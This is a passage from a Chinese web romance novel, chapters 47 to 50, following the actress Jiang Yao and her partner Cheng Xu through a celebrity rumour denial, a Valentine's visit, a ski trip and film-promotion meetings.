小鱼仔细瞧了瞧她的脸色，又看了看热搜上爆掉的词条，把刚得出来的结论推翻了，看来失智的只是某些人罢了。
江遥点进屏幕，她洗个澡的功夫，程绪陆续打了四五个电话进来。
微信上，汪静静又给她转发了个链接，「新进展。」
「以后辟谣都给我照这个来。」
江遥看着小图上显示的“来自程绪工作室的微博”，已经大概猜到了内容是什么。
程绪没接新工作，他工作室基本就是个摆设，点进去，去年和今年发的两条微博都是辟谣。不过最新这条，明显是程绪借工作室账号发的，最后还有他的落款。
没给人任何暧昧的空间和缓冲的余地，他正面回应了和孟棠的绯闻，表示他俩从始至终只是朋友关系，孟棠是他尊敬的姐姐和前辈，希望一切传闻到此为止，不要给无关人士造成困扰。
47. 节日礼物
＃程绪辟谣＃已经冲上了热搜榜首，后面跟着一个深红的“爆”字。
程绪工作室的这条博文，前排点赞近十万。不过评论区的画风，却迎来了奇怪的走向。
前面几条热评还好，大部分是和博文内容相关，声援程绪和怼乱编瓜的营销号的。
「好的，一切听你的。」
「不信谣，不传谣，无良营销号想钱想疯了。」
「都逼得我哥亲自辟谣了，以后谁敢瞎嗑试试呢。」
到后排，基本就是闻风赶来的迷妹。
「啊啊啊惊现本人，老公看看我。」
「哥哥你怎么这么帅！」
「退一万步讲，程绪不能做我老公吗！」
江遥被他们的狂野吓到，赶紧往下拉。没想到他停工这么多年，还有事业粉不忘鸡娃。
「下一个剧本在看了吗？下一个剧本在看了吗？下一个剧本在看了吗？重要的事情说三遍！」
「救救孩子吧家里没余粮了。」
头发已经干得差不多，江遥停下划拉屏幕的手指，关了吹风。正准备起身，目光又被无意点开的一条评论吸引。
有个顶着程绪头像的博主评论说：「不知道是不是我想多，最后那句话，总觉得在隐射些什么。」
有人接话，「终于有人和我想到一块儿了！这么多年都没辟谣，这短短半年辟了两次，到底会给谁造成困扰呢？」
「我的直觉一向很准，我也觉得不太对劲。」
江遥惊异于他们的敏感，还好，此时他的评论区已经被汹涌而来的人流淹没，一刷新又有无数新评论，这样几条讨论，完全不用担心惹人注目。
她换好衣服下楼，口罩墨镜帽子围巾一个不落，在电梯里又刷了下，＃糖絮＃＃＃程绪孟棠姐弟情＃等相关词条也还在榜上□□着。
其实在发微博辟谣前，他就已经单独回复了她，一开始还是简单两个字：「假的。」
但是江遥在洗澡，压根就没看手机。所以当她挂了电话再去看的时候，满满一屏都是他在自说自话，中间间隔时间五到十分钟不等。
十点十五分，C：「别信。」
十点二十五分，C：「当面聊好吗？」
十点三十分，C：「我在你楼下。」
江遥看了眼时间，现在已经晚上十一点，她这个澡好像是洗得有点久了。
从酒店出来，往右拐过一个路口，再往前走几步，在灯光照不到的角落里，停着一辆黑色的车。
驾驶座司机已经不见了人影，车内灯开着，程绪坐在后排，给她开了门。
江遥刚坐进去，就感觉到手被他拉住了。
她没有出声，程绪主动开了口，“都是假的。”
其实上次他辟谣过后，这对CP在她这里就已经BE了，而且应该从来没有真过。圈子就这么大，她可不想纠缠进一些乱七八糟的三角关系里。
媒体的捕风捉影，领教过的人都只能苦笑摇头，但也不能因此完全隔绝自己的社交和生活。
从时间上来看，照片应该就是他前些天去B市出差时拍的，估计是那时顺便和孟棠见过。
不过看他这么急切，她反倒起了点恶趣味，一脸“你解释看看”的表情。而且他和孟棠的关系如何，他好像一直也没有明面说过，两人认识多年，看起来和对方家人也认识，感情应该还不错的。
江遥脸上漫不经心，实际已经在心里有了猜测。
程绪言简意赅：“她妈和我妈是亲姐妹。”
江遥怎么也没想到是这样的走向，挑挑眉，“所以，她是你……”
程绪接过了她的话，“嗯，我表姐。上次去B市一起吃了个饭。”
江遥想起他声明里的措辞，“尊敬的姐姐和前辈”，原来竟然是真的啊，不过恐怕大部分也没想到是有血缘关系的那种吧。瞒得还真严实。
所以被拍到的中年男人就是他姨夫了，她顺嘴问了句：“你姨妈怎么没一起？”
程绪默了一下，告诉她：“她已经过世很多年了。”
江遥立刻道歉：“对不起。”
程绪无所谓道：“没事。”接着，他说了个名字，演艺圈耳熟能详的那种。
江遥不可置信，因为太过震惊，嘴巴都张成了“O”型。难怪程绪演技这么厉害，原来还有家学渊源作怪。而且孟棠在歌手行列里，也是天后级别的存在。果然，优秀的人总是抱团的，他们一家子演艺事业都已经做到了极致。
小巧的嘴巴，微微张着，脸上还带着点震惊，整个人显得呆呆的。车内一时寂静无声，程绪忍了忍，还是决定遵从本心。江遥感觉到身子被往前一带，他低头亲了过来。
和他整个人给人的感觉不一样，他的吻带着一股柔和的味道。一开始只是双唇相贴，轻轻啄吻着唇瓣，待她适应后，再一点点往里深入，找到她的舌，绕上去，缠住。
身子不由自主地前倾，江遥沉迷于这样的游戏，主动伸手揽住他的脖颈，想和他更深地勾缠。
程绪身子一僵，江遥被含着唇，嘤咛一声，像是在催促着什么。
静了一秒，也许两秒，“叮铃铃”，一阵手机铃声响起。江遥在混沌中模模糊糊地想着，应该是她的手机闹钟。
明天还有她两场戏，早上八点钟开拍，大概六点多就要起床。现在回酒店，满打满算，还能睡上六个多小时。
手机闹钟还在持续不断响着，她半边身子酥麻，强撑着想要挣脱出这种困境。忽然，身上的人动了。
程绪一只手还牵着她，另一只按住了她的后脑勺，用力地吻着她的唇，厮磨吮吸。江遥察觉到危险，松开环着的手想往后退，他却一步步紧逼而来，力气仿佛脱离了掌控，在她唇齿间肆意搅弄。她感觉有些疼，伸手去推，却被他更用力地握紧，更深入地侵袭。
暗夜里，温柔的情人变了另一种模样。像是小心隐藏的吸血鬼，终于露出了属于自己的獠牙。
过了许久，他终于舍得放开她。江遥得到解救，大口呼吸着新鲜空气。他却没有放过她的意思，双手摩挲着她的唇瓣，声音淡淡，“再来一次。”
确定对面神情莫测的人今天终于偃旗息鼓后，江遥重新打起精神，厉声呵斥，“你是属狗的吗！”
他吻到最后，竟然又咬了她一口！之所以用“又”，是因为她电光火石间突然想起来第一次的时候，他也是想咬她来着，虽然两次都没有真的咬下去，但是就凭他刚刚那风卷残云的作风，一定以
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及肯定是有这个意图的。
江遥自觉声音足够严厉，不想听在旁人耳里，娇娇柔柔，欲说还休。
程绪干脆利落道歉：“对不起。”伸手揽过她，低头仔细检查着她的嘴唇，红红的，软软的……他移开视线，直起身子，柔声问：“没事吧？”
漆黑的眸子专注地将她望着，江遥脑中警铃大作，赶紧挪着身子退远了点，肺活量真的跟不上了。
她秀眉微蹙，无声抗议。
程绪轻咳一声：“我错了。”
江遥也懒得跟他计较，看了眼手机，十一点五十，再不去睡明天真的起不来了。
开了车门正想往下溜，又被程绪牢牢抓住了手。她回头，大大的眼睛里写满疑问，怎么？
程绪抿了抿唇，打量了下她的神色，好像完全不知道他为何而来的，他敛下眸子，将一个盒子塞进她的手心，“节日礼物。”
“哦！”江遥被热搜打断的思路重新连接，想起来今天是情人节。
所以他是特意跑过来陪她过节的？不过算算好像也是，怎么可能热搜刚爆出来他就眼巴巴过来解释，而且来得那么及时。
“对不起，本来应该早到的。”程绪帮她将盒子打开，脸上带着点懊恼，“飞机晚点。”
江遥这会儿心情挺好，“原谅你了。”
丝绒盒子里，躺着一条红宝石项链，一看就知道价值不菲。
她发现这人送礼物好像总喜欢送首饰，不知道是他的眼光，还是助理的审美。
漂亮是漂亮，但明显超出了她的承受范围，她阖上盖子，尽量委婉地表示：“其实你没必要送这么贵重的礼物，我都没多少能用到它的场合。”
他的重点却跑偏了，“没事，不贵。”又揪着她的后半句话表达了自己的不赞同，“你以后会有更大的舞台。”语气严肃，仿佛要扭转她的什么错误认知似的。
“对我这么有信心？”她扬眉问。
他不假思索，“嗯。”
江遥想再推拒又觉得太煞风景，只说：“可是我都没有准备。”
程绪低头，在她唇上啄了一口，“没关系，补上了。”
她的心又开始不听使唤，赶紧转移话题，“你今天住哪里？”
程绪说：“已经订了酒店。”
“那你什么时候走？”她盘算了下时间，“我明天五点左右收工。”
程绪点头说知道了，“你应该快杀青了？我等你一起？”
江遥慌忙摆手：“我拒绝，我不要跟你一起回。”
他知道他在担心什么，“放心，不坐一起。”
江遥还是摇头，“下飞机也不要跟你一起走。”
在二月十五日零点过后，江遥终于又躺回了酒店的床。睡过去之前，她最后一个印象是，原来情人节，最重要的是看跟谁一起过这个节。
第二天早上六点半，闹钟响第一遍的时候，江遥翻身起床。小鱼拎着早餐进门，脸上带着点讳莫如深的笑：“昨天几点回来的？”
江遥白了她一眼，“快收收你脑子里的黄色废料。”
小鱼才不管她，低声嘟囔，“用完就丢。”
江遥哼了一声，自己助理也成了他的眼线，这日子可怎么过。
48. 放鸽子
第二天下午江遥收工，才知道姜朗当天就要离组，他再三表示两人难得相见，一定要聚聚。
江遥看了看一脸热情的姜朗，又看了看手机上程绪的消息，心一横，答应了。
当程绪把自己收拾好后，才看到江遥的回复。
摇啊摇：「对不起，临时有点事。」
摇啊摇：「你晚餐自己解决吧，我吃完再过去。」
姜朗很有大哥范儿，刚上桌就抢过了买单的活，桌上不停招呼江遥多吃菜，不够再点。江遥看着面前琳琅满目的美食，想到还在酒店的程绪，莫名就有点心虚。她发的微信也一直没有得到回复。
姜朗很健谈，江遥时不时插几句，不知不觉间，旁边桌上的人已经换了一波。
手机一震，有消息进来，江遥看了眼屏幕，是程绪回了条语音。
她调低音量，点开，他说：“你什么时候回来。”低沉的声音，贴着她的耳朵响起，不轻不重地挠了她一下。
终于把过往前尘叙了个差不多，姜朗放下筷子问：“你后面怎么安排？”
自她夸了句他现在的状态，姜朗已经抓着她说了十分钟感谢的话了，江遥捧着杯子，语气诚恳，“你太客气了。”衔接顺畅，丝毫没觉得有任何不对的地方。
姜朗瞥了眼对面目光炯炯的女人，主动提议，“要不今天就先到这里？”
江遥松了口气，天知道，后半程她几乎是靠本能的社交礼貌在维持。
散场的时候已经是晚上八点过后，江遥找了个僻静的地方，给程绪打电话。
电话响了一会儿才接通。
对面还没有说话，江遥先声夺人：“对不起，我不是故意的。”语气听起来要多可怜有多可怜。
程绪问：“你在哪里？”
江遥竖着耳朵，也没分辨出这句话里的喜怒。吃饭的餐馆离酒店不远，她看了下附近的标志，报出自己的具体位置。
十分钟后，一辆车停在了她面前。
江遥搓了搓手，开门上车。车里的暖气呼呼吹着，将带进来的凉意蒸发殆尽，程绪的脸色却一直没有回温。
她靠着车窗，侧头看他：“吃饭了吗？”
他看着前方，不轻不重地“嗯”了一声。
江遥受不了这不上不下悬在半空中的感觉，想去晃他的手，又想起他在开车，只好讪讪收回。可怜兮兮地再次道歉，“我错了，姜大哥今天杀青，他请客我也不好推脱。”
她边说边观察他的神色，一如既往的冷淡，看不出别的什么，她又自顾自往下说着，“我们真的很多年没见了，下次碰面又不知道得什么时候。姜大哥说……”
她还在喋喋不休，程绪看过来一眼：“你好像有很多大哥？”
江遥摇头：“没有，我爸妈就生了我一个。”脸上的表情要多认真有多认真。
跟她计较什么呢。他突然又觉得有点饿，在下一个路口往左拐，开上了新的一条路，“陪我去吃点吧。”
江遥满口答应：“嗯嗯，想吃什么，你带路。”
江遥刚刚吃饱，完全吃不下，殷勤地为他布菜。最后他也没吃多少，江遥不太放心：“不吃了吗？”
“嗯。”他还是言简意赅。
她又挪过去挽着他说话，他往外移一点，她又贴过去一点。程绪退无可退，无奈地低头，“你怎么这么幼稚。”明明是责怪的话，听起来却有愉悦的音调。
江遥有恃无恐，才不管他，顺嘴反驳道：“那还不是你喜欢。”
程绪：“……”
静了一秒，他重新找回自己的声音：“玩够了吧？回去吗？明天你不是还有戏要拍。”
江遥看了看时间，牵过他伸来的手，“走吧。”
在她的坚持下，两人最终没有一起回，第二天江遥下戏的时候，收到他已经走了的消息。
飞机落地，周颂已经等在了地下停车场。
程绪打开车门，往椅背上一靠，“怎么是你？”
周颂伸了个懒腰，开车上路，“杨越忙着呢。”
本来他兴冲冲跑去应澄科技堵人，想叫上程绪试试新菜，结果人影都没见一个，只有忙碌的杨越抽空给他倒了杯水。
周颂闲得要发霉了，干脆就待在那儿和他磨嘴皮打发时间，免得回家他妈又被他气出高血压。看着窗外灰蒙蒙的天气，他翘着二郎腿，靠着转椅悠悠叹气，“这人怎么天天往外跑啊。”
杨越深有同感，端着杯子踱到落地窗前，吐出的话语里莫名透着点哲人般的智慧，“春天到了”。
周颂被他的语气激得起了身鸡皮疙瘩，也懒得去研究他在抒发什么感慨，端起桌上的水抿了一口就准备撤，杨越一看时间，收敛起悲春伤秋的表情跟着就跑，一问，才知道要去接机。当然最后这活又被周颂抢了先。
副驾上的人望着窗外，不知在想什么，看起来有点疲累，又有点低沉。周颂心里悄悄犯嘀咕，春天来没来不知道，冬天还没走是肯定的。
程绪背后像是长了眼睛，还是一如既往的腔调，“好好开你的车！”
周颂耸了耸肩，不知道大冷天的自己为什么要来这找罪受。
车子走走停停，过了几分钟，他又有点闲不住：“哥，你吃饭了吗？要不要去我那试试菜？”
可惜程绪无情打碎了他的期待，“你看我很闲？”
“啧”，周颂转回头，打开音乐，跟着旋律哼了起来。
三天后，江遥的戏杀青，当天他们就飞回了A城。
“遥遥姐拜拜～”车子先经过小鱼家门口，小鱼收好东西推门下车，又凑回来神秘兮兮地说，“那我就不打扰你咯。”
江遥脸上八风不动，看她推着箱子，不一会儿消失在了小区门口，低头打字：「我回来了。」
等了几分钟，没有回复。
直到下车前，手机上都没有再进来新消息。
几天没回，房间里又落了一层灰。江遥看了眼毫无动静的手机，找出拖把抹布，拉起袖子给房间整个清理了一遍。弄到最后，她已经懒得动了，洗了澡蒙头就睡。
第二天醒来后，看到程绪在凌晨回复了她：「这几天不在国内，你早点睡。」
过了几分钟又有一条：「我很快回来。」
她放下手机，又将自己摔进了被窝里。
再次醒来的时候，已经十二点多。江遥拉开窗帘，对着空荡荡的冰箱，思考起请一个钟点工的必要性。
下午一点，小鱼在微信
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上悄悄打听：「姐，今天什么行程？」
江遥对着眼前的外卖拍了张照，对面一下子来了几条消息。
小鱼：「你就给我看这个？！」
小鱼：「不是我说，程老师也太不贴心了吧！」
小鱼：「不说烛光晚餐，起码也得来顿日式料理呀！怎么能让你啃外卖呢？」
江遥看她一句一句越说越来劲，赶紧回复：「打住。」
摇啊摇：「他出差去了。找我什么事？」
小鱼闻言飞速回复：「那我来找你。」
摇啊摇：「欢迎。」
一个多小时后小鱼就杀了过来，手上还提了两个超市购物袋。江遥帮忙接过，给她拿了拖鞋来换。
小鱼看着鞋架上明显多出来的一双灰色拖鞋“嘿嘿”笑了两声，又绕去厨房，找到自己的专属水杯倒了杯水。江遥习惯了一个人住，杯子都不带多买一个，她的还是之前丢这里的。
将速冻食品塞进冷冻层，其他的分门别类整理好，空空的冰箱一下子就充实了起来。江遥关上冰箱门回头，对上小鱼直勾勾的目光。
“干嘛？”
小鱼捧着水杯灌了几口，在沙发上坐了下来，哀怨地叹了口气，“感觉我是时候打包走人，给新人腾位子了，不然真担心哪天被扫地出门。”
江遥白了她一眼：“你今天演的哪出戏。”
小鱼语气幽怨：“宠妾灭妻郎心似铁，贤良主母为爱下堂。”
江遥差点没绷住，打开手机，“再说一遍，我给你录下来。”
小鱼一个鲤鱼打挺从沙发上弹起来，“不要这么较真嘛……”
说着不要较真，她自己却正经起来。江遥洗了手在沙发上坐下，小鱼挨过来，“Susie姐跟我打听咱们这边什么情况呢。”江遥没有说话，她只好继续往下，说着自己的猜测，“看起来有想回来的意思。”
她自己当初就是Susie招进来的，虽然Susie比较严厉，但工作能力毋庸置疑。遥遥姐解约后就一直没有新组团队，只有她一个助理跟着，跟别人面面俱到的团队一比，实在太过单薄。
她也摸不准江遥的想法，只一股脑将自己的所思所想告诉她，“遥遥姐，现在是你的关键时刻，还是需要个专业的经纪人跟着。Susie姐到底知根知底，也不用再磨合。”
江遥何尝不知道专业的团队对艺人的助力，不过之前本来工作就少，解约后大部分时间都在组里待着，这事儿就耽搁了。何况，大的娱乐公司就那么几个，自己那会儿被黑成碳，签进去可能又是霸王条款，不比轻音娱乐好多少。最好是能自己组个工作室，然后挂靠大公司，有大公司背书，自己自主权也有。
对Susie本人她一直是感激的，在她无人接手的时候，陪她走了那么久，于是对小鱼说，“看她自己意见吧，真有想法她会自己联系我的。”
小鱼一想也是，Susie从来都是主动出击的人，她又安下心来，跟她讨论起后面的行程，“X杂志三月刊明天上线，封面我看过了，想挑刺的应该也没什么可说的，另外后面还有两个广告活动以及一个试镜。”
“哦对了，粉丝催营业的也很多，咱们要不要拍个Vlog之类的？”
49. 相亲对象
江遥上一条微博还是过年发的，工作室的账号现在小鱼管着，偶尔上去看一眼，都是催营业和进组。
进组还好说，刚刚客串了一部戏，也有一些本子在筛着，但说起营业，耗费人力物力粉丝还不一定满意。有的艺人会定期拍写真，可是哪哪都得用到钱，而且还得本人花心力来配合。压根都不需要问到江遥，她自己就能否决了。
不过还好，“明天的封面应该能稳个几天，至于营业，Vlog效果应该不错，粉丝对你私下的状态还挺好奇的。”
江遥：“再说吧。”
小鱼没有估计错，X杂志封面一出，而且还是双封面，粉丝哪还记得鞭策她，全部都在疯狂舔颜。
第一张封面由H&F品牌买单，女人一身金色鎏光长裙，面容冷艳，目含悲悯，衣服与她互为衬托，和谐共生。第二张没有太多花里胡哨的布景，直接是江遥的怼脸照，火红的嘴唇，冷艳的眼神，直勾得人欲罢不能。有些人怼脸会有硬伤，但她无论哪个角度都经得起考验，放大来看，只会更绝。
粉丝排着队尖叫转发，「啊啊啊，姐姐太好看了！」
时尚博主却直指核心：“与二十岁的江遥相比，这张脸上写满千帆阅尽的从容和肆意，在她的每一张封面里，藏着她一路的成长和蜕变。”
“直接怼脸杀，太考验硬照表现力，好在江遥给出了百分答卷。”
“反差强烈的两种风格，江遥手到擒来，非常精彩的拍摄。”
不管网上夸得如何天花乱坠，江遥早已进入了新一轮的忙碌。品牌站台活动早已经签下，七天辗转五个城市，回到A城又有一个试镜在等。
在忙碌的间隙里，和程绪每天保持着联系已是难得。等她停下来，他也已经回来了。
程绪的工作细节江遥从来不爱多打听，而他也只是大致知道她的行程。后来她还是在新闻上看到，应澄科技过去一年市值翻番，海外市场又进一步扩张，且高层透露有进军文娱传媒领域的打算。
小鱼被粉丝新一轮的催促弄得抓狂，好在江遥最近的活动行程满满当当，足够她交出一份出差Vlog。
视频上传完毕，小鱼长长吐出一口气，收拾东西开溜。按她的话说，是给新人腾地儿。
“我需要带什么吗？”江遥刷着手机上的“新人滑雪注意事项”，再次跟程绪确认。
电话那头的声音听起来很淡，落在耳中，却有种尽在掌握的沉稳，“不用，人到就行。”
车子已经开出市区，江遥看着窗外越来越陌生的风景，还有点没反应过来，他们怎么突然就踏上了滑雪之旅。
最初是她在感慨，两人难得聚在一起，却没太多地方可去。
程绪听完却问她：“你现在最想做什么？”
江遥思索片刻：“滑雪吧。”
作为南方人，她好像对雪有着天然的热情，虽然已经在A城待了几年，但大部分时间都在外工作，每次刷着别人的滑雪视频蠢蠢欲动，可惜至今仍未成行。可是现在已经是二月末，她不太确定地问：“应该过了滑雪的季节了吧？”
“没事，正好错峰。”
于是，这趟行程就这么定了下来。他们的目的地是A城一家滑雪度假村。
雪场很大，只在远处隐隐约约看到几个黑影。两人占据一整条雪道，江遥忍不住“哇哇”乱叫，也不用担心引来旁人目光。
从最初的忐忑兴奋到玩得不亦乐乎，江遥只用了两天时间，程绪是她的教练。如他所说，她什么都不用考虑。
能够自由滑行后，教练就被她甩到一边，认命地接过了摄影师的活儿。
一路滑到底，江遥兴奋地仰头问，“怎么样怎么样，拍到了吧？”
接过程绪递来的手机，她看着视频里自己帅气的身影很是满意，“拍得不错，快发给我。”
往前翻了几张，都是她英姿飒爽的身影，看过太多直男视角的吐槽，这技术已经大大超出预期了，江遥一高兴，肯定的话不要钱似的倒，直到——
“怎么这个你也拍了！”看着手机里四仰八叉躺在地上的人，她简直要抓狂，举着屏幕控诉。
想想她前两天在他指导下穿戴好装备，在雪地里摔得四脚朝天的时候，江遥就忍不住想把他的记忆删除掉。
学滑雪就学滑雪，明明已经护具齐全，怎么还给她准备了个乌龟垫。有时候没必要这么贴心的，真的。
再往前翻，乌龟垫出镜率还挺高，女明星怎么能留下黑历史呢，江遥一键删除，手指还没按下，一个不察，手机已经被夺走，锁屏那叫一个干脆利落。
她委屈巴巴地望着他，他眼神飘向一边，摸了摸鼻子，“挺可爱的。”
江遥扭头就走，这种人到底是怎么找到女朋友的。
两人都穿着滑雪服，头盔护目镜面罩遮得严严实实，但那身形和气质，总惹人忍不住多投去几眼。
顾声站在窗前，看着远处并肩走来的两人，低低笑了一声。
两人在初级雪道上待了三天，女孩从哐哐一顿乱摔到现在自己耍帅，进步算是挺快，不愧教练跟着摔了好几个屁股墩儿。
不过现在，两人好像又闹上了什么矛盾。
女孩气呼呼在前面走，男人上前想要拉她的手，被一把甩开，于是又试探着伸手。他数了数，整整循环了五次，两人才结束这场幼稚的争斗。
他摇了摇头，年轻人就是精力足。
晚上躺在酒店床上，江遥已经忘了那点别扭，翻着程绪发过来的视频和照片，越看越满意，忍不住跟汪静静嘚瑟：「小小滑雪，轻松拿下。」
汪静静也还没睡，反应很快：「跟谁去的，竟然不叫我！」
两人约了几次，因为各种原因一直没有对上时间，江遥也是没想到，就这么突然地完成了滑雪初体验。
摇啊摇：「说走就走了[摊手]我自己都没反应过来。」
汪静静：「自学的？」
江遥想了想自己那让人绝望的平衡以及多次被她带倒的某人，不敢居功：「多亏了教练。」
汪静静：「到时推荐给我。」
江遥已经脑补出程绪皱眉的样子，手指按得飞快：「教练费挺贵的，教练脾气也一般，没什么性价比，不推荐。」
汪静静：「那算了。」
疯了几天，江遥后知后觉，身上落下不少淤青，而且全身酸痛，躺在酒店不想再出门。<
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p>饭后两人开车回市区，从餐馆出来，几个人正好迎面往里走，看样子是一家人。
江遥拉低帽檐，垂下眼睛盯着自己的脚尖，没想到会在这碰到认识的人。导演顾声——电影圈泰斗级人物，曾捧出无数影帝影后，也是程绪走上国际第一部电影的执导者。还好，大导演压根没有给他们一丝眼神。
她睨了眼旁边牵着她手，径直往外走的男人，偷偷放下了心，看他目不斜视的样子也可爱了起来，又凑上去和他讨论起接下来的安排。
车子开出，顾声收回目光，摇头感慨，“到底年轻。”
回程路上，江遥接到乔红英的电话。
乔红英上来就问她：“方便听电话吗？”程绪认真开着车，她戴着耳机，两人互不影响，一时半会也到不了，她应道：“方便啊。”
乔红英又问她最近怎么样，年后是不是挺忙。
江遥不知道她哪里看到的消息，“还好啊，这几天休假呢。”
“我看你工作室发的那个视频，这些天可跑了不少地方。”
江遥正想说你什么时候会玩微博了，又想起小鱼好像将那视频每个平台都发了一遍，而她母上大人，是某音的爱好者。
“那是好几天的剪在了一块儿，看起来多罢了，实际上大部分时间都在路上呢。”
乔红英也没再跟她掰扯这个，又唠叨了些有的没的，听起来完全没有挂电话的意思，江遥偶尔应几句，忽然有了点不妙的预感，催促道：“没事我挂了啊。”
乔红英忙道：“别。”酝酿了半天的话最后还是赤裸裸地怼到了江遥面前，“你二姨给你介绍了个对象。”说完，战术性沉默了会儿。
明知道程绪听不见，江遥还是没忍住眼神偷偷朝驾驶位瞥了一眼。
乔红英见她没说话以为有戏，竹筒倒豆子般将男生的情况说了遍，重点是年龄相当，学历不错，A城有房，而且长相周正，最后中心思想是问她“要不要见见”。
江遥眉头不自觉拧起：“你干嘛呀？”
乔红英这会儿兴致勃勃，有理有据：“不是你说让我给你介绍吗，这好不容易有个各方面合适的，联系一下试试呗，说不定就成了。”
碍于身边还有人在，江遥也不好怎么发挥，说了句“回头再说吧”就挂了电话。
被这么一打断，下车时她也没了别的心情，等回到家，乔红英已经把男生的信息发到了她手机上，还贴心备注：微信同号。
晚上，许久没联系的顾声打来电话，程绪知道躲不掉，响了两秒就点了接通。
对面声音听起来中气十足，一上来就质问：“好啊臭小子，连我也瞒着。”
程绪老实认错：“对不起顾导，下次有机会给您介绍。”
顾声听到他的回复，毫不客气地笑了声，“你说了能算？”在剧组的时候，他在镜头里，无数次审视过那双眼睛，短短一个照面，他就可以肯定，绝对不会认错人。
只是没想到啊，看着那对小情侣过来，他还寻思着确实有缘分，谁知道竟然是这小子，白白浪费他几天表情。
到底是眼光老练，一眼看破。程绪无声笑笑，想起来江遥后半程的沉默，也没再说什么。
50. 转桌
三月初，齐淮电影《凡尘》定档清明，并发布第一支预告。江遥上线转发：影院见[爱心][爱心]
这部电影前期信息不多，部分粉丝甚至不知道江遥也参演了这部戏。预告里江遥就一两个镜头一闪而过，但可以看出导演非常擅长色彩对比和光影处理，他镜头里的江遥，生动而鲜活。
电影正式进入宣传期，宣传团队每天变着花样，从匠心制作、非遗工艺、幕后故事等各个角度切入，没想到最先打出圈的，是一个花絮视频。
江遥和Susie抽空见了一面，三月底，Susie会重新回归团队。两人谈完正准备走，坐在一旁专心玩手机的小鱼突然抬头，托着下巴盯着江遥。
“干嘛？”
“姐，你可能要火。”小鱼一脸深沉，很有天桥下戴着墨镜的算命先生那味儿。
Susie难得揶揄一句：“你什么时候还学上算卦了。”
小鱼把手机屏幕转过来给他们看，是官方发布的一则花絮，视频里，把江遥前期和马互相试探熟悉的场景，跟游刃有余地单手控马奔驰、马受惊平安落地，以及后来摸着耳朵和马打商量的画面，全部剪辑到了一起。
最开始是有粉丝转发说可爱、心疼之类，后来有人将江遥和马的状态做成对比图，活力满分的江遥绕着生无可恋、班味满满的马，又哄又逗。意料之外地，梗图被玩出了圈，带着这条花絮也火了。
「这么看江遥性格还不错，不像传说中那样高冷耍大牌啊。」
「能对小动物这么温柔的能是什么坏宝宝呢。」
「江遥骑马戏好帅，我说有些人能不能别天天整个道具马糊弄观众了。」
「真的会有人会爱上班吗？我每天跟这马的状态一样一样的。」
「这电影什么时候上，来个人告诉我她戏份多不多。」
江遥戏份不算多，勉强排得上个女二号，还不知道最终上映的版本里能保留多少。
电影清明档上映，官博已经公布路演行程，江遥作为参演人员，只需出席A城的首映礼。
“中间这段时间，完全可以再进个组。”小鱼从厨房端来一碗冰糖雪梨水，摆在桌上晾着。
江遥正有此意，但手头的本子质量参差不齐，有些明显是看中她的短期流量，只求个噱头。她翻着剧本，捂着嘴咳了两声：“我再看看。”
前几天气温突降，她水灵灵地感冒了，还好不算严重，只是嗓子还有点不舒服。
小鱼不满地撇撇嘴：“程绪人呢？”
应该是在桐城吧？江遥不太确定。江遥好奇：“他哪得罪你啦？”以前可是一口一个“程老师”喊得欢。
小鱼板着脸看着她，表情好像在说：女朋友生病人影都不见一个。
江遥接收到她的信息，不过这确实是不能怪他，她解释道：“你看隔着网线我照样生龙活虎的，人家也不知道我什么情况啊。”
小鱼被她这么一说，心底又开始冒火，偏偏找不到发泄的对象，捞了个抱枕抱在怀里，直接背过了身。要不是她今天打电话过来，可能等江遥感冒好了自己都不知道呢。谁不说这助理工资还挺好赚的。
江遥试了下梨水的温度，端起来喝了口，大赞小鱼手艺，又说：“我真没事了，争取下周挑出个本子来。”
但没等到下周，江遥饰演的公主热度不减反增，打乱了剧组原本的宣传计划，江遥的工作安排也得随之调整。
齐淮约江遥碰面，约在了周颂的地盘。
江遥还没到，周颂得到消息，一把推开包厢门：“背着我跟谁约？”
齐淮懒得给他眼神，“你很闲？”
个把月没见，齐淮看起来憔悴了许多，真有点艺术青年的味道，周颂收回到嘴的调侃，手指向上指了指，“我哥约了人。”他只是陪着来的。
楼上是一家清吧，齐淮好奇道：“他什么时候回来了？”
“昨晚。”
要说在打探程绪行踪上，齐淮是自愧不如的，以前也没见周颂这么黏人，大概是程绪离开那些年，让他彻底反弹了。
正好他有事找他商量，“他到多久了？让他散场等我一下。”
“没来多久，但他……”周颂一句“看起来挺急着走”还没出口，侍应生已经领着程绪过来了。
外套随意地搭在手臂上，他抬腕看了眼表，“怎么，有事找我？”丝毫不掩饰眉眼间的不耐。
齐淮问：“赶时间？”
一阵脚步声匆匆响起，刚离开的经理，又推开门，侧身迎进了一个人。
房中人或坐或立，齐淮位置正对着门口，周颂站在中间，听到声音转头看来，还有一人背对着门，身形颀长，早上还在微信上跟她说过话，不知道怎么这会儿就出现在了这个包厢。
齐淮看到进门的人，心底暗呼一声大意了，连忙上前请江遥入座。
江遥挂上得体的笑，柔声道：“我没打扰大家吧？”声音微带着丝低哑，不仔细听完全察觉不到。
程绪这时开了口，“是我不请自来，不介意加我一个吧？”又看向齐淮问，“找我干什么？”
齐淮正想说，我也不急这会儿，你有事忙你的去，周颂这个不懂眼色的已经拉开椅子坐下，翘着二郎腿懒洋洋地开口，“那我也加一个。”一副吊儿郎当的样，十成十的纨绔公子。
程绪拉开椅子，踢了下他的腿，周颂立马把腿放下，笑嘿嘿地问江遥：“江小姐不介意吧？”
江遥还能说什么呢，又是一轮客套的点头问候。于是，和导演的私人聚会，变成了朋友会餐，她反倒像是外来者。
还好，齐淮并没有忘记他的初衷，开门见山和江遥说明了来意：后续的路演，希望她能跟剧组一起跑。江遥点头表示理解，正好手上没筛到特别满意的本子，既然要路演，那正好先缓缓。
齐淮又提前跟她打了个预防针，这次路演行程很紧，一二线城市的高校，基本都要跑一轮。江遥没有多话：“导演放心，我可以配合。”
江遥这边顺利敲定，齐淮又将目光转向程绪：“三十一号那天有空吗，首映礼来露个面？”
侍应生端着盘子过来，这次是一碟小酥肉，正好放在江遥身前。金黄的外衣包裹，诱人的香气扑鼻而来，江遥定定看了两秒，微抬手臂，筷子还没伸出，转盘突然动了。小酥肉哭喊着远去，一如江遥的内心。
她在家已
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经被小鱼管制了几天，不听她就幽怨地望着她，一句“你病了为什么不跟我说”让她气焰顿消，讨好求饶：“姑奶奶，我真的好了，下次一定告诉你好吗？”
奈何小鱼已经对这套免疫，这人前科太多了。
江遥体质不算很好，换季总会感冒，之前有次在剧组发烧了不说，拖到收工才去医院，第二天又想准时上工。没人管着，她能把身体不当自己的，真碰上事儿也不爱跟身边人说。
江遥也是没想到，好不容易脱离小鱼的管控，下个馆子也能遇到拦路虎。
